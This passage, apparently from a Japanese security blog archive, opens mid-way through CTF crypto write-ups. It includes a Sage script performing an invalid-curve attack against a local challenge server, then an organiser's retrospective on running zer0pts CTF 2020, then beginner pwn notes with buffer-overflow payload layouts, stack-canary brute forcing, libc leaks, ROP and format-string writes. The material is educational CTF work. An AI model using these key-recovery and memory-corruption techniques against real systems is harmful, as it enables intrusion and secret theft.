Gx = 0xcf634030986cf41c1add87e71d638b9cc723c764059cf4c9b8ed2a0aaf5d51dc770372503ebfaad746ab9220e992c09822916978226465ad31d354a3efee51da
Gy = 0x65eaad8848b2787103fce02358b45d8a61420031989eb6b4b70d82fe20d85583ae542eb8f76749dc640b0f13f682228819b8b2f04bd7a5a17a4c675540fe1c90

_, b = PolynomialRing(GF(P), name="b").objgen()
f = Gx**3 + A*Gx + b - Gy**2
B = int(f.roots()[0][0])

F = FiniteField(P)
EC = EllipticCurve(F, int(A), B)

G = EC(Gx, Gy)

Q = EC(10150325274093651859575658519947563789222194633356867789068177057343771571940302488270622886585658965620106459791565259790154958179860547267338437952379763, 6795014289013853849339410895464797184780777251924203530417684718894057583288011725702609805686960505075072642102076744937056900144377846048950215257629102)
s = SSSA_Attack(F, EC, G, Q)
print(bytes.fromhex(hex(s)[2:]))

TJCTF 2015 Curvature

宿題になっていた問題です。ある点を与えて何かしらの演算をしてもらう時、与えた点が楕円曲線上にあるかどうかのチェックがないと、invalid curve attackが可能になります。という問題で、しかしinvalid curve attackをする際にどうやって良いBを求めるのかがわからず放置していたのですが、De1CTF 2020のECDHという問題のwriteup を見てこれがわかったので解けました。ちなみにECDHは本番中に「うわ〜〜invalid curve attackじゃん」って言って放り投げました。

どうやら、楕円曲線の位数がある程度小さい数を含むように素因数分解できる場合に、楕円曲線のgenerator * (order / factor)をやると、位数がfactorな部分群のgeneratorが求まるようです。確かに……。これで位数が小さい楕円曲線上での演算に持ち込めば、あとはCRTで復元、という感じで解けます。

from sage.all import *
from timeout_decorator import timeout
from ptrlib import *

generators = [
    {'generator': (75018829908334641135287907832364588376392648394852697956512464620901439399091, 59310606686882497582859801487472084112791104513525809772271515095232323519002), 'order': 17, 'b': 2} ,
    {'generator': (14108366122805723625020075750179082265774395778849335024217582787861312312270, 48131724537792101564129626030579998631347236213771248503484807671517428824779), 'order': 11871421, 'b': 3} ,
    {'generator': (10219791296939476446978405667751432187697243109108209712110403172731476918598, 29956495008696010243175913739747719779132987433052330275148912122314390288669), 'order': 137, 'b': 5} ,
    {'generator': (42777940522922357350677116116779112965460458338266309438879684299889046092060, 55153724152154375167247217363093302126821206645660100074296996339252760370913), 'order': 32633, 'b': 7} ,
    {'generator': (10831563407297415859788486867917312379445005544125515905759465100401482164790, 83673279217201573271136390602924299332268405981527089175622432592003182193), 'order': 2192629, 'b': 9} ,
    {'generator': (21866291018291769753200219006065902052302271116278780675505468066315056034667, 26320854338400571929354338120932758767766121454452318420674426177401484895077), 'order': 1146083, 'b': 11} ,
    {'generator': (70477946629836528396820075171089472321695231503572908556028599471720495852914, 45359043459356443396911931469603778921737175440775125150426057614649863769381), 'order': 557693197, 'b': 12} ,
    {'generator': (3067625162943157588017556490906306538160163692852525289213976752118141691559, 70135860004395620803901190886933054437366829947624865529920703668208548865169), 'order': 4787, 'b': 13} ,
    {'generator': (20453887951492396382116635373156816246787390607186046864442208295254950706353, 41374043013134953199326755315280127177100264339162100449295591769938446808604), 'order': 120528059, 'b': 14} ,
    {'generator': (63860357017578264591074151267679315831331582854780010735294147152111534385449, 7787790211631466170916931897483087919405908652838124300647908802622489289322), 'order': 167, 'b': 15} ,
    {'generator': (28266681978198457092812065766219275154917100817596733107392104751238123037180, 25375345042438509641710766829984998144411914831489524239691171315736258149744), 'order': 433981, 'b': 17} ,
    {'generator': (30194731389043602783690419048124763865168292379437069881181109836251172351228, 40665116364724631324900157788568397943144157820689726966949666425146455719977), 'order': 370871, 'b': 18} ,
    {'generator': (24936471025919082430845657538468506580791307884831801991879227749137995844519, 63816116169864815848466423976585822530331789272863018928197180972927927939612), 'order': 259177, 'b': 21} ,
    {'generator': (41876169769492810135683621405650315114043483742421946397396849624969605627524, 62374885101651406800250293984653592947701957841184358843280066067652148661439), 'order': 9804344863, 'b': 22} ,
    {'generator': (45845934232875157717087534318790345406363949403587257916077210108373946981911, 10876312240831805735749936927491976773415927845336159631890752995764740480225), 'order': 11, 'b': 23} ,
]

A = 0x7D5A0975FC2C3057EEF67530417AFFE7FB8055C126DC5C6CE94A4B44F330B5D9
B = 0x26DC5C6CE94A4B44F330B5D9BBD77CBF958416295CF7E1CE6BCCDC18FF8C07B6
P = 0xA9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5377
F = GF(P)

sock = Socket("localhost", 12345)
sock.recvuntil('"x y"\n')

pairs = []

for i, g in enumerate(generators):
    print("[+] {}/{}".format(i+1, len(generators)))
    E = EllipticCurve(F, [A, g['b']])
    P = E(g['generator'])

    sock.sendline("{} {}".format(*g['generator']))
    sock.recvuntil("point:\n")
    x,y = [int(xy) for xy in sock.recvline()[1:-1].split(b", ")]

    Q = E((x,y))
    z = P.discrete_log(Q)

    pairs.append((z,g['order']))

print(bytes.fromhex(hex(crt(pairs)[0])[2:]))

いい感じのgeneratorを見つけるスクリプト

from sage.all import *
from timeout_decorator import timeout


A = 0x7D5A0975FC2C3057EEF67530417AFFE7FB8055C126DC5C6CE94A4B44F330B5D9
B = 0x26DC5C6CE94A4B44F330B5D9BBD77CBF958416295CF7E1CE6BCCDC18FF8C07B6
P = 0xA9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5377
F = GF(P)
size = EllipticCurve(F, [A, B]).order()


@timeout(10, timeout_exception=Exception, use_signals=False)
def factorize(n):
    return prime_factors(n)

cur = 1
b = 2
while cur < size:
    EC = EllipticCurve(F, [A, b])
    order = EC.order()

    try:
        factors = factorize(order)
    except Exception:
        b += 1
        continue

    suborder = 1
    for f in factors:
        if f < 10**10:
            suborder = f
        else:
            break
    g = EC.gen(0) * int(order // suborder)
    print({
        "generator": g.xy(),
        "order": suborder,
        "b": b,
    }, ",")

    cur *= suborder
    b += 1

この他にもまだ解けてない問題はあったりしますがまあそれはそれ。勉強になりました

*1:僕はyoshi-gccと認識してるけど、他の2人はyoshi-campって書いてるのでyoshi-campかもしれないです

*2:この資料 http://jant.jsiam.org/006-shimizu.pdf の42ページ〜を参照していたと思います

zer0pts CTF 2020 開催記

zer0pts CTF 2020を開催しました。 今回はその反省記事です。

ctftime.org

ちゃんとした記事はこちら

ptr-yudai.hatenablog.com

CTFをどうやって開けばよいのか、ということについては上記 id:ptr-yudai のブログも参考になりますが、TSG CTFの開催記がとても細かく書かれているので、そちらを参照すると良いと思います。この記事は、zer0pts CTF 2020における私の役割と反省になります *1

hakatashi.hatenadiary.com

CTFの規模感

  • 開催期間: 2020-03-07 09:00:00 +09:00 〜 2020-03-09 09:00:00 +09:00 (48h)
  • 参加(=1点以上得点した)チーム数: 432チーム

48時間という設定は、「決して短くはない」「これ以上継続してCTFに臨むのは厳しいだろう」という時間でした。個人的には24時間で十分だと思っていますが、このあたりは色々あります。432チームは、「ctftime.orgに載るCTFとしては少ない」という感じだと思います。これは開催告知が遅くなったのも原因だと思っています(あとUTCTFと丸かぶりした)。

スコアサーバ

スコアサーバは2月に必死に書きました。個人的な経験値から、 Go(echo) + Vue という構成になっています。(zer0pts CTF 2020のためだけの値がcommit logに含まれていてそれを公開するのは嫌なので、そういった情報を消したものを公開しています。ただ、随所にzer0pts CTFという名前は見られると思う)。

gitlab.com

CTFを開催するたびにスコアサーバを書いている気がしますが、これは私たちのCTFdに対する信用の無さから来るもので、CTFdは重たいのではないか、という疑念がありました。というのもCTFdを採用しているCTFで、スコアサーバのレスポンスが極端に悪いものがこれまでいくらか見受けられたためです。ただし TSG CTFではCTFdのこれまでの成果を評価して採用しているので、CTFdが不十分、ということはないはずです。一度CTFdを使ってCTFを開催してみて、CTFdの安定感・使用感を知っておくのがまず最初で、その結果CTFdを採用するかどうかを考えるべきでした。このあたり、スコアサーバを実装したいという気持ちが先行していて良くないですね。

ちなみにスコアサーバの見た目は、良いCTF体験を追求した結果、 watevr CTFのパクリになってしまいました。watevr CTFのスコアサーバ (https://ctf.watevr.xyz/)は個人的に好感度が高くて格好良い&使いやすいを両立していると思います。

スコアサーバをスケールさせたい欲求

前回開催した InterKosenCTF 2019 では、gunicornの引数に並列動作に関する要件 (--worker-class=gevent --worker-connections=500 --workers=3 など)を指定し忘れて開始後数時間、スコアサーバのレスポンスを極端に悪くしましたが、このときの悪い体験と、また今回からは ctftime.org にも掲載するグローバルなCTFになり参加者の増加が予想されるということで、スコアサーバの安定性は大きな課題でした。

そこで今回はAWSのFargateという、コンテナを自動スケールするサービスを利用して、スコアサーバのスペック確保を試みました。結果としては 1GiB RAM / 0.5 vCPUのコンテナ1台で全てのリクエストを捌けていたので、スペック的な問題からコンテナのスケールが活躍することはありませんでしたが、何度かコンテナが不具合で停止したタイミングがあり、その際に自動で新しいインスタンスが起動したことには大いに助けられました。

Fargateは値段も安いので(RDSやElastiCacheを併用することになるので、全体で見たら決して安くはないのですが)、どうせRDSを使う構成にするなら、EC2ではなくてFargateを検討するのもアリかもしれません。

コンテナの不具合

前節で触れましたが、5時間に一度くらいの頻度でコンテナが503を返すようになっていました。コンテナのログからは echo: http: Accept error: accept tcp [::]:80: accept4: too many open files; retrying in 1s というエラーメッセージを拾うことが出来ましたが、これがどういう問題で、何を原因としているのかは調査しきれていません。このような現象をご存知の方は助けてください

問題の扱い方

https://gitlab.com/zer0pts/zer0pts-ctf-2020 で公開しているように、全ての問題は challenges.yaml に詳細を書き、<問題名のディレクトリ>に配布ファイルやサーバの設定を書いてもらうようにしています。これはInterKosenCTFのときとほとんど変わりません *2ディレクトリの構成などは BSidesSF CTFのものが見やすいと感じたため、真似をしています(こちらはk8sなどを使ってデプロイしており、より偉いですが)。

github.com

配布ファイルの取扱い

当初、 transfer.sh をEC2サーバにデプロイしてファイルの配布を行う構想でしたが、途中で怖くなってS3 Bucketにアップロードする方法に変更しました。transfer.shをデプロイするのも悪い手法ではないと思っていて、特に学内CTF等で短時間だけ動作して、スペックを要求しないのであれば Docker で簡単にデプロイ出来て良いと思います。開発中は docker-compose で立ち上がるサーバ一式にtransfer.shも含まれていて、ここにファイルをアップロードして動作確認を行っていました。

前回もそうでしたが、今回作成したzer0ptsctfdでも、問題ディレクトリ中の distfiles 以下のファイルを自動的に tar.gz 形式に固めて 問題名_MD5.tar.gz としてアップロード、 distarchive 以下の .tar.gz をそのままアップロードするプログラムを組んでいます。ただし今回突貫で作業した結果、gz圧縮が行われていない不具合と、配布ファイルの中身が変わってハッシュが変わった場合に、古い配布ファイルの情報を消していなかったため配布ファイルが複数になる不具合を生み出しました。前者は修正済みですが後者はまだなおしていません修正しました。

問題サーバ

サーバを必要とする問題は基本的に docker-compose up で動作するようにしてもらい*3 、前回と同様、いくつかのEC2インスタンス上で docker-compose up を発行して起動していました。これに起因するトラブルもありましたが後述。

また、問題サーバ自体の構築には ansibleスクリプトを書きました。Dockerのインストール、EC2における特殊なIPアドレスへのアクセス禁止tcpdumpの設定などを行っています。

問題サーバを動作させる上で恐れていたのもアクセスの集中によって十分なレスポンスができないのではないか、ということでしたが、t2.medium1台あたり3〜5問程度を十分にさばいてくれました。haproxyなどを挿入して負荷を分散させようという試みもありましたが、うまくデプロイや設定反映をできる気がしなかったため諦めています。

試行錯誤の中には問題デプロイ&実行用k8s クラスタを建てる、という試みもあって、ボタンひとつで git clone、kanikoによるイメージビルド、クラスタリポジトリへのpush、クラスタリポジトリからのpull & デプロイが行われるような仕組みを構築しようとしていましたが、クラスタリポジトリからイメージをpullする方法がわからないことと、デプロイした後のポート公開等のアクセス制御がよくわからない、という点から諦めています。こんなのに2週間持っていかれたのもったいないな。

監視

よくわからないので CloudWatchで収集できるメトリクスだけを監視していました。もうちょっとまともにやったほうがいい感じはありますが何をすべきかよくわかっていません。

f:id:Furutsuki:20200313110418p:plain

AWSへの連絡

忘れていました。

運営中のトラブル

チーム名の制限

当初チーム名は [A-Za-z0-9_-]{1,20} という正規表現に従う文字列に限定していましたが、 ctftime.org に提出したスコアボードからチームにレーティングが割り当てられることを受けて、チーム名に関する制約を撤廃する変更を加え、またチーム名も変更可能にしました。 ctftime.org に登録するCTFを開催する場合には気をつける必要があります。

urlapp

urlappというRedis Command Injection Puzzleを出題しましたが、いくつかのredisコマンドを禁止するための redis.conf${PWD}/redis.conf:/redis.conf などとしてvolumeをマウントして認識させようとしていたところ、sudo 時に PWDが引き継がれない問題に気が付かず、 redis.conf が未設定となりやりたい放題できる状況でした。当初よりもずいぶん難易度が下がったのではないかと思っています。

この問題に対する対策はよくわかりません。そもそも volumeのマウントなどをしている時点で悪いのかも知れない。

動的配点の式を変更した後、点数に反映されない

ptr-yudaiの記事にもありましたが、途中で配点の式を変更しましたが、問題のスコアはRedisでキャッシュして、解かれる度に再計算、というプロセスを採用していたために、計算式の変更後に解かれた問題とそうでない問題で、一時的に配点に差が生じました。結局「全問題の得点を再計算する」エンドポイントを突貫で作成して解決しましたが、こういうエンドポイントを事前に用意しておくべきです。

ちなみに私は動的配点の式を理解していなかったので、このときに点数が負になるなどのバグがありました

EC2のインスタンスタイプを変更したらIPアドレスも変わった

それはそうなんですが、普通に経験不足で気がついていませんでした。CTF終了後も1ヶ月くらいはサーバを動かしているのですが、アクセス数も減ってきたため、EC2インスタンスを減らしたり、小さいインスタンスに変更したりとといったオペレーションを行って費用を抑えようとしたところ、Elastic IPを利用していなかったため、インスタンスのPublic IPアドレスが変わってしまいました。いくつかの問題では、IPアドレスがハードコードされていたため、修正が必要になってしまい、開催期間中でなくて良かったと別の方向で安堵しました。

ちゃんと何かしらのドメインをとってそちらを使うようにするか、Elastic IPを確保していれば防げた問題でした。

資金繰り

私の反省かどうかはさておき、書いておくべきかなと思います。今回は賞金付きCTFとしたため、スポンサーの強力を仰ぐ必要がありました。CTFに賞金をつける確固たる理由は私の中にはまだありませんが、参加者の質の向上や、CTFの質の指標という意味で重要だと思っています。

結果として株式会社アクティブディフェンス研究所様、株式会社ヘマタイト様からの協賛をいただきました。ありがとうございました。協賛をいただくに当たっては、CTFにおける賞金が法に触れないことの説明をしており、今後会計報告を行う予定です。前者に関して、我々の解釈に自信があるわけではないので公開はしませんがお問い合わせいただければどのような説明を行ったのかの説明はできると思います。

値段感

結果としてAWS上で全てを完結させましたが、利用したサービスは EC2 / Fargate / ECR / RDS / ElastiCache / Route 53/ S3 / CloudFront 位になるかと思います。結局 EC2 / RDS / ElastiCacheがほとんどを占めており、 t2.medium 7台程度 、RDS 1つ、ElastiCache 1つで 48h〜を動作させる分を概算すれば今回程度の規模のCTFの開催にかかる費用の見積もりができそうな感じがあります。zer0pts CTF 2020はまだもう少し問題サーバ・スコアサーバ共に動作させる予定があるのでまだ値段は確定していません。

IRC / Slack / Discord

これも私の反省かどうかは微妙ですが、zer0pts CTFでは質問や連絡の場としてIRC / Slack / Discord を検討して Discord を選択しました。

  • IRC はもはや我々のようなひよっこには経験が不足しており、十分な運営ができるか怪しい
  • Slack はワークスペース毎にアカウントを作れるので、CTFerとしてはその方が嬉しい人がいるのではないか
  • と思っていたがDiscordでも同様のことができるらしい
  • じゃあDiscordでいいか

というような選定経過だったと思います。Slack / Discordを利用する際の不安定感に関してですが、我々のスコアサーバ・問題サーバの不安定感に比べればどうということはなく、無視できると思っています。

結び

ptr-yudaiの記事と相補的な内容になったと思います(なっていれば良いが……)。私の個人的な反省としては着手の遅さによるトラブルの数々と、提供した問題の量・質です。

*1:TSG CTFの開催記に言及することが何度かあるので引用しましたが、これでhakatashiさんに通知が飛ぶの怖すぎるな。無視してください

*2:スコアサーバが要求する引数が変化したので、そこだけ変わっています。ちなみにこの変更が十分に伝わっていなかったため、誤って一時的に静的配点になってしまった問題が存在しました

*3:例外としてKernel Exploitの問題があります。このあたりはptr-yudaiが詳しいです

pwn初心者メモ

pwnわからん、でも簡単なのは解けたほうが良いな、バッファオーバーフローくらいならわかる気がする。いや細かいところがわからんぞ? 解けない、やーめた、pwnわからん。でも簡単なのは解けたほうが良いな……になるのでpwn初心者メモを残しておきたい。

特に断らなければx86(-64)のELFです。というかそれ以外のアーキテクチャは初心者じゃなさそう

バッファオーバーフロー

リターンアドレスの書き換え

f:id:Furutsuki:20200112190845p:plain

図はCSAW CTF 2018のget it? これはgetsを利用しているのでバッファオーバーフローができる。入力はvar_20に書き込まれて、64bitバイナリなのでリターンアドレスを書き換えるときのpayloadは "A"* (0x20 + 8) + p64(addr) みたいな感じになる。

もしこのバイナリが32bitだったら"A" * (0x20 + 4) + p32(addr)

ローカル変数の上書き

f:id:Furutsuki:20200112191519p:plain

図はTUCTF 2017のVuln Chat。ここでは最初のscanfの呼び出しでvar_5を書き換えたい。書き込み先はvar_19なのでペイロード"A" * (0x19 - 0x5) + "%99s" とかになる

payload正しそうなのに落ちる

やっぱりCSAW CTF 2018のget it? なんだけど、ペイロード正しそうに見えるのにSegfaultしてしまうときは、ジャンプ先のアドレスに +1 して push rbp を飛ばす。libc 2.27からはこれまで movups 命令が使われていた部分で movaps 命令が使われるようになっているんだけど、この命令が呼ばれたときにスタックが16byteでalignされていないと落ちる。ちゃんとcallしたときは大丈夫なんだけどリターンアドレスを書き換えたりしてjmp相当の処理を行った場合はpush rbp があるとずれるのでこれをなくしているんだなぁ。勉強になる

Stack CanaryのBrute Force

スタックの特定の位置にカナリア領域というのがあって、関数の呼び出し時に適当な値が埋め込まれ、関数の終了時にその値が変化していないことを確認する処理が入る。ここで値が変わっていたら __stack_chk_fail が呼ばれて異常終了することになる。

stack canaryの値はforkでは変わらないので、fork→Stack Overflowでトライアンドエラーを繰り返せる状況ではstack canaryをブルートフォースで特定できる。方針としては、stack canaryを上書きしないギリギリのOverflow量を調べておいて、 もう1バイトだけ(stack canaryの先頭バイトだけ )オーバーフローするようにして、そこの値を0 から 255まで試して落ちなかった値が正常、という感じ。これを繰り返せばstack canaryが特定できる。*1

stack canaryの直前までをオーバーフローしたあとputsなどでcanaryがリークされるのを防ぐために、stack canaryの先頭の1バイトは0になっているので32bitバイナリなら3バイト、64bitバイナリなら7バイトの探索で特定できる。

ちなみにmaster canaryはThread Local Storageにおいてある。知らなかったけどすべての関数でcanaryの値は共通。

libc baseを求める

Buffer Overflowからlibc_baseを求める方法もある。うまくstack canaryが回避できるなら、オーバーフローでmain の戻りアドレス手前までのメモリを埋めてしまって、そのあと puts とかをすると puts("AAAAA..." + <__libc_start_main + 231>) とかになって <__libc_start_main + 231> から libc baseが求まる (231は適当)

ROPができるなら pop rdi; __libc_start_main@got; を積んでmainのputs呼び出すとかでも良い *2

ROP

毎回わからなくなるんだけど、実行したい順番にすなおにアドレスを並べて良い。

payload += p32(0x080bb496) # pop eax
payload += p32(0xcafebabe) 
payload += p32(0x0806f34a) # pop edx
payload += p32(0xdeadbeef)

上記の例では eax0xcafebabeを設定したあと、edx0xdeadbeef を設定する。

Format String Bug

%n でリターンアドレス書き換えられないんですが

毎回めちゃくちゃ勘違いしていて、こんな勘違いするのは僕だけだと思うんですが、 %n でスタック上の値を書き換えようとしてうまく行かねぇなぁって言ってます。これは %n を使ったことがあればわかるんですが、以下のように %n に対応する引数は ポインタ であることが想定されています。だから%n ではスタック上に現れたポインタに対してのみ書き込みができ、アドレスのわからないローカル変数やリターンアドレスを書き換えることは出来ないというわけです。

printf("%s%n", somestr, &writtenbytes);

一方これを使うと、送るペイロード自体がスタックのどこかにあり、それが何かしらのポインタを指すように見えればそれを書き換えることができるので、アドレスがわかっている値(GOTのエントリとか)は書き換えられるわけです。

メモ

__x86_get_pc_thunk_bx とか

x86ではmov ebx, eip みたいなことが出来ないので、スタックに積まれた戻りアドレスからeipを求めるみたいなことをする。そのためにいるのが __x86_get_pc_thunk_bxとかで、細かい関数名はレジスタ名やアーキテクチャ名によってことなるけど、挙動としては mov ebx, [esp] みたいなことをしているだけ。そもそもこれを使って何をしているのかはよくわからない。